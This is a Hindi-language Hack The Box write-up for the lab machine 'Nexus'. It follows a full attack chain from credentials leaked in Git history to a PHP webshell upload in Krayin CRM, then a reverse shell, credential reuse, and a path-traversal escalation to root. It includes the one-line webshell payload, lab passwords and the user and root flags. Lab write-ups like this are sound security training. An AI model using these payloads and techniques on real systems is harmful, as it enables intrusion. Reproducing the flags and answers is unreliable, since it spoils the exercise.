🏴‍☠️ HTB Labs - Nexus

English 🇺🇸 | Español 🇪🇸

English | Español

📋 अवलोकन

Nexus हैक द बॉक्स की एक आसान-कठिनाई वाली Linux मशीन है जो एक बहु-चरणीय हमले की श्रृंखला प्रदर्शित करती है जिसमें वर्चुअल होस्ट एन्यूमरेशन, उजागर क्रेडेंशियल्स, कमजोर वेब एप्लिकेशन कार्यक्षमता, रिमोट कोड निष्पादन, क्रेडेंशियल पुन: उपयोग और स्थानीय विशेषाधिकार वृद्धि शामिल है।

हमले की श्रृंखला

Reconnaissance
      │
      ▼
Virtual Host Enumeration
      │
      ├── git.nexus.htb
      └── billing.nexus.htb
              │
              ▼
      Gitea Commit History
              │
              ▼
       Exposed Credentials
              │
              ▼
        Krayin CRM Login
              │
              ▼
      CVE-2026-38526
              │
              ▼
        PHP Webshell
              │
              ▼
       Reverse Shell
        (www-data)
              │
              ▼
       Application .env
              │
              ▼
        SSH as jones
              │
              ▼
   gitea-template-sync
              │
              ▼
       Path Traversal
              │
              ▼
    Malicious Git Repository
              │
              ▼
         SSH as root

प्रमुख तकनीकें

• 🔍 वर्चुअल होस्ट एन्यूमरेशन
• 🔑 Git कमिट इतिहास के माध्यम से क्रेडेंशियल खोज
• 💻 Krayin CRM शोषण
• 🐚 PHP वेबशेल और रिवर्स शेल
• 🔐 क्रेडेंशियल पुन: उपयोग
• 🔬 Linux सेवा एन्यूमरेशन
• 📂 पाथ ट्रैवर्सल
• 🌳 दुर्भावनापूर्ण Git रिपॉजिटरी निर्माण
• 👑 root तक विशेषाधिकार वृद्धि

लक्ष्य IP: 10.129.82.92

🔍 चरण 1: टोही

पोर्ट स्कैनिंग

nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92

परिणाम

22/tcp  open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp  open  http  nginx 1.24.0 (Ubuntu)

वर्चुअल होस्ट एन्यूमरेशन

gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain

खोजे गए होस्ट

git.nexus.htb       → Gitea
billing.nexus.htb   → Krayin CRM

खोजे गए होस्ट को /etc/hosts में जोड़ें:

echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

🔑 चरण 2: क्रेडेंशियल खोज

Gitea एन्यूमरेशन

यहाँ नेविगेट करें:

http://git.nexus.htb

एक रिपॉजिटरी जिसका नाम है:

admin/krayin-docker-setup

इसके Git इतिहास में उपयोगी जानकारी शामिल है।

.env फ़ाइल को पिछले कमिट से पुनर्प्राप्त किया जा सकता है, जिससे ऐसे क्रेडेंशियल उजागर होते हैं जो वर्तमान संस्करण में अब मौजूद नहीं हैं।

खोजे गए क्रेडेंशियल

ईमेल पता [email protected] मुख्य वेबसाइट के रोजगार अनुभाग में भी पहचाना गया था।

💻 चरण 3: CVE-2026-38526 : Krayin CRM

CRM लॉगिन

URL: http://billing.nexus.htb/admin/login

Email: [email protected]
Password: N27xh!!2ucY04

वेबशेल अपलोड करना

यहाँ नेविगेट करें:

/admin/mail/sent

फिर:

1. कंपोज़ मेल पर क्लिक करें।
2. PHP पेलोड संलग्न करें।
3. Burp Suite का उपयोग करके अनुरोध को इंटरसेप्ट करें।
4. अपलोड की गई फ़ाइल का नाम संशोधित करें।
5. MIME प्रकार बदलें।
6. अनुरोध को आगे भेजें।

पेलोड यहाँ संग्रहीत है:

exploits/CVE-2026-38526/shell.php

पेलोड:

<?php system($_GET["cmd"]); ?>

प्रासंगिक मल्टीपार्ट फ़ील्ड हैं:

Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php

वेबशेल

सफल अपलोड के बाद:

http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id

अपेक्षित परिणाम:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

📡 चरण 4: रिवर्स शेल

एक लिसनर शुरू करें:

nc -lvnp 4444

फिर अपलोड किए गए वेबशेल के माध्यम से रिवर्स शेल ट्रिगर करें।

Python कार्यान्वयन यहाँ उपलब्ध है:

exploits/CVE-2026-38526/reverse_shell.py

इस चरण में शेल इस रूप में प्राप्त होता है:

www-data

🐚 चरण 5: उपयोगकर्ता पहुंच

एप्लिकेशन कॉन्फ़िगरेशन पढ़ें

Krayin कॉन्फ़िगरेशन का निरीक्षण करें:

cat /var/www/krayin/.env

क्रेडेंशियल मिलते हैं:

DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

उपयोगकर्ताओं की गणना करें

cat /etc/passwd | grep sh$

jones खाते की पहचान की जाती है।

jones के रूप में SSH

ssh [email protected]

पासवर्ड:

y27xb3ha!!74GbR

उपयोगकर्ता फ़्लैग

f20cbf9aeb6bb228d356a42ff49c1933

🔬 चरण 6: विशेषाधिकार वृद्धि

सेवाओं की गणना करें

systemctl list-units | grep -i gitea

निम्नलिखित सेवा और टाइमर की पहचान की जाती है:

gitea-template-sync.timer
gitea-template-sync.service

सेवा उन्नत विशेषाधिकारों के साथ निष्पादित होती है।

कमजोर स्क्रिप्ट

/etc/gitea/template-sync.py

सिंक्रनाइज़ेशन तंत्र पाथ निर्माण का उपयोग करता है जिसका पाथ ट्रैवर्सल के माध्यम से दुरुपयोग किया जा सकता है।

🎯 चरण 7: दुर्भावनापूर्ण Git रिपॉजिटरी

SSH कुंजी जोड़ी उत्पन्न करें:

ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub

Git ऑब्जेक्ट हेरफेर शोषण यहाँ स्थित है:

exploits/gitea_template_sync/exploit_git.py

रिपॉजिटरी बनाएं:

cd /tmp
rm -rf exploit
mkdir exploit
cd exploit

git init
python3 exploit_git.py

रिपॉजिटरी को इस ब्रांच का उपयोग करना चाहिए:

main

Gitea टोकन

इसके माध्यम से एक व्यक्तिगत एक्सेस टोकन उत्पन्न करें:

http://git.nexus.htb

यहाँ नेविगेट करें:

Settings → Applications

फिर रिमोट कॉन्फ़िगर करें:

git remote set-url origin http://jones:[email protected]/jones/exploit.git

दुर्भावनापूर्ण रिपॉजिटरी पुश करें:

git push -f origin main

⏰ चरण 8: टेम्पलेट सिंक्रनाइज़ेशन

सिंक्रनाइज़ेशन लॉग की निगरानी करें:

tail -f /var/log/template-sync.log

सफल सिंक्रनाइज़ेशन के परिणामस्वरूप दुर्भावनापूर्ण Git ट्री को विशेषाधिकार प्राप्त सेवा द्वारा संसाधित किया जाता है।

उदाहरण:

[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30]   synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete

👑 चरण 9: रूट

एक बार SSH सार्वजनिक कुंजी रूट खाते में लिख दी जाए:

ssh -i /tmp/nexus_root [email protected]

पहुंच सत्यापित करें:

whoami

अपेक्षित:

root

रूट फ़्लैग प्राप्त करें:

cat /root/root.txt

रूट फ़्लैग

85be1d2a3084e387da0e7dd118908c63

🏆 फ़्लैग्स

🔐 क्रेडेंशियल्स

ये क्रेडेंशियल हैक द बॉक्स प्रयोगशाला वातावरण से संबंधित हैं जिसे इस रिपॉजिटरी द्वारा प्रलेखित किया गया है।

🛠️ उपकरण

📁 रिपॉजिटरी संरचना

htb-labs-nexus/
├── README.md
├── exploits/
│   ├── CVE-2026-38526/
│   │   ├── shell.php
│   │   ├── reverse_shell.py
│   │   └── burp_request.txt
│   └── gitea_template_sync/
│       ├── exploit_git.py
│       ├── create_repo.sh
│       └── key.pub
├── scripts/
│   ├── linpeas.sh
│   ├── LinEnum.sh
│   └── enum_services.sh
├── assets/
│   ├── nmap_scan.txt
│   ├── gobuster_vhost.txt
│   └── credentials.txt
├── screenshots/
│   ├── gitea_repo.png
│   ├── crm_login.png
│   ├── webshell.png
│   └── root_flag.png
└── notes/
    ├── methodology.md
    ├── commands.md
    └── credentials.md

📚 अतिरिक्त संसाधन

• CVE-2026-38526
• Krayin CRM
• Gitea Documentation
• OWASP Path Traversal

⚠️ अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है।

यहां प्रलेखित तकनीकों, क्रेडेंशियल्स, शोषणों और कमांडों का उपयोग स्पष्ट प्राधिकरण के बिना किसी भी सिस्टम के विरुद्ध नहीं किया जाना चाहिए।

🎯 मुख्य निष्कर्ष

1. 🔍 वर्चुअल होस्ट की गणना करें: महत्वपूर्ण सेवाएं सबडोमेन के पीछे छिपी हो सकती हैं।
2. 🔑 Git इतिहास की समीक्षा करें: किसी फ़ाइल से गोपनीय जानकारी हटाने का मतलब यह नहीं है कि वह रिपॉजिटरी इतिहास से गायब हो गई है।
3. 💻 फ़ाइल अपलोड का विश्लेषण करें: एक्सटेंशन और MIME प्रकार सत्यापन महत्वपूर्ण सुरक्षा नियंत्रण हो सकते हैं।
4. 🐚 शेल प्राप्त करने के बाद गणना करें: कॉन्फ़िगरेशन फ़ाइलों में पुन: उपयोग योग्य क्रेडेंशियल हो सकते हैं।
5. 🔬 विशेषाधिकार प्राप्त सेवाओं की समीक्षा करें: root के रूप में चलने वाली सेवा विशेषाधिकार वृद्धि वेक्टर बन सकती है।
6. 📂 फ़ाइल पाथ को उचित रूप से सत्यापित करें: उपयोगकर्ता-नियंत्रित पाथों का असुरक्षित संचालन पाथ ट्रैवर्सल कमजोरियां पेश कर सकता है।
7. 🌳 Git हमले का वेक्टर बन सकता है: Git ऑब्जेक्ट्स और ट्री में हेरफेर किया जा सकता है जब कोई एप्लिकेशन उनकी संरचना पर गलत तरीके से भरोसा करता है।

🙏 श्रेय

• Hack The Box : मशीन और प्रयोगशाला मंच
• P3lured : मूल राइट-अप
• Tran Manh Tan : पूरक मार्गदर्शिका

⭐ यदि आपको यह राइट-अप उपयोगी लगा, तो रिपॉजिटरी को स्टार देने पर विचार करें।